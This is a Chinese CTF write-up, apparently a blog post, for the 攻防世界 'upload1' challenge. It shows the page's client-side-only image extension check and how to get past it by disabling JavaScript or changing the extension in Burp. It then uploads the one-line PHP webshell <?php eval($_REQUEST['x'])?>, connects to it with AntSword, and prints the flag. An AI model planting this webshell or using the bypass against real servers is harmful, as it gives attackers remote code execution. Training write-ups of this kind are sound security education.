upload1-攻防世界

题目

 

右键源代码 




<!Doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<script type="text/javascript">
 

Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this[i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}


}

</script>

</head>
<body>



<form enctype='multipart/form-data' id='aa' name='aaa' method='post' action='index.php'> 
<input  id="upfile" name='upfile' type='file' onchange="check();" /> 

<input type='submit'  id ='submit' value='上传'> 
</form> 



</body>


</html>



这段代码是一个简单的HTML页面,其中包含JavaScript代码,用于检查用户是否选择了一个图片文件(.jpg 或 .png)进行上传。

  1. HTML头部 (<head>):

    • 字符集声明<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 这行代码指定了页面的字符编码为UTF-8,确保页面可以正确显示各种字符。

    • JavaScript代码:

      • 扩展数组原型Array.prototype.contains 是一个自定义方法,用于检查数组中是否包含某个特定的对象。这里,它用于检查文件扩展名是否存在于一个特定的数组中。
      • check 函数: 当文件输入字段 (<input type='file'>) 的值发生变化时,这个函数会被调用。它获取文件的扩展名,并检查这个扩展名是否是 jpg 或 png。如果是,则启用上传按钮;如果不是,则禁用上传按钮并显示一个警告。
  2. HTML主体 (<body>):

    • 表单 (<form>): 表单用于上传文件。它使用 enctype='multipart/form-data' 来确保可以正确地上传文件。
    • 文件输入字段 (<input type='file'>): 用户可以通过这个字段选择文件。当文件被选择后,onchange 事件触发 check 函数。
    • 提交按钮 (<input type='submit'>): 用户点击这个按钮以提交表单。它的初始状态是禁用的(disabled),直到用户选择了一个有效的图片文件。
<!Doctype html> <!-- 声明这是一个HTML5文档,但这里有个小错误,应该是<!DOCTYPE html>,注意大写和空格 -->  
<html> <!-- HTML文档的根元素 -->  
<head> <!-- 定义文档的头部 -->  
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <!-- 定义文档的字符编码为UTF-8 -->  
  
<script type="text/javascript"> <!-- 嵌入JavaScript代码 -->  
  
// 自定义一个方法到Array的原型上,用于检查数组中是否包含某个元素  
Array.prototype.contains = function (obj) {    
    var i = this.length;  <!-- 获取数组的长度 -->  
    while (i--) {  <!-- 使用while循环逆序遍历数组 -->  
        if (this[i] === obj) {  <!-- 如果找到与给定对象相等的元素 -->  
            return true;  <!-- 返回true,表示数组包含该元素 -->  
        }    
    }    
    return false;  <!-- 如果遍历完整个数组都没找到,返回false -->  
}    
  
// 定义check函数,用于检查上传的文件类型  
function check(){  
    upfile = document.getElementById("upfile"); <!-- 获取文件输入元素的引用 -->  
    submit = document.getElementById("submit"); <!-- 获取提交按钮的引用 -->  
    name = upfile.value; <!-- 获取文件输入元素的值,即文件名 -->  
    ext = name.replace(/^.+\./,''); <!-- 使用正则表达式提取文件名中的扩展名 -->  
  
    // 检查扩展名是否在['jpg','png']数组中  
    if(['jpg','png'].contains(ext)){  
        submit.disabled = false; <!-- 如果扩展名有效,启用提交按钮 -->  
    }else{  
        submit.disabled = true; <!-- 如果扩展名无效,禁用提交按钮 -->  
        alert('请选择一张图片文件上传!'); <!-- 显示警告框提示用户选择正确的文件类型 -->  
    }  
}  
  
</script> <!-- 结束JavaScript代码 -->  
  
</head> <!-- 结束文档头部 -->  
<body> <!-- 文档的主体部分开始 -->  
  
<form enctype='multipart/form-data' id='aa' name='aaa' method='post' action='index.php'> <!-- 定义表单,用于文件上传 -->  
    <input  id="upfile" name='upfile' type='file' onchange="check();" /> <!-- 文件输入元素,选择文件时触发check函数 -->  
    <input type='submit'  id ='submit' value='上传'> <!-- 提交按钮,初始状态是禁用的 -->  
</form> <!-- 结束表单 -->  
  
</body> <!-- 结束文档主体 -->  
</html> <!-- 结束HTML文档 -->

 前端验证直接禁用js

F12设置中

 禁用js

直接上传一句话木马,先来构造木马

<?php eval($_REQUEST['x'])?>

左上角另存为php文件然后上传

然后后得到上传路径

直接蚁剑连接 

 

 

一般会放在网站默认路径www下

 

或者bp抓包把后缀改了也能绕过

cyberpeace{35454b3cd4471de5c676ac0c34b420b7}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值